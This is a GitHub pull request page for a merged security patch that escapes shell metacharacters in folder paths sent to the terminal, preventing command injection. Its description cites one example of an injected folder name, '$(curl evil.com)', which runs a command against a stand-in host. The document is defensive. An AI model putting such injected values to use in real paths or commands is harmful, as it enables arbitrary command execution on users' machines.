Add patch to sanitize terminal sendText paths to prevent command injectiom#232
Merged
aakashmandavilli96 merged 1 commit intoaws:1.7from Apr 14, 2026
Merged
Conversation
…ction Folder names containing shell metacharacters (e.g., $(curl evil.com)) can trigger command injection when extensions send commands like "cd <path> && python file.py" via terminal.sendText(). This patch escapes shell-dangerous characters in cd path arguments before the text is written to the terminal process. Ported from aws/code-editor PR aws#190. sim: https://issues.amazon.com/issues/P381721885
henrywa2
approved these changes
Apr 14, 2026
henrywa2
reviewed
Apr 14, 2026
aws-ajangg
approved these changes
Apr 14, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
5 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Ported from aws/code-editor PR #190.
Issue #, if available:
Description of changes:
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.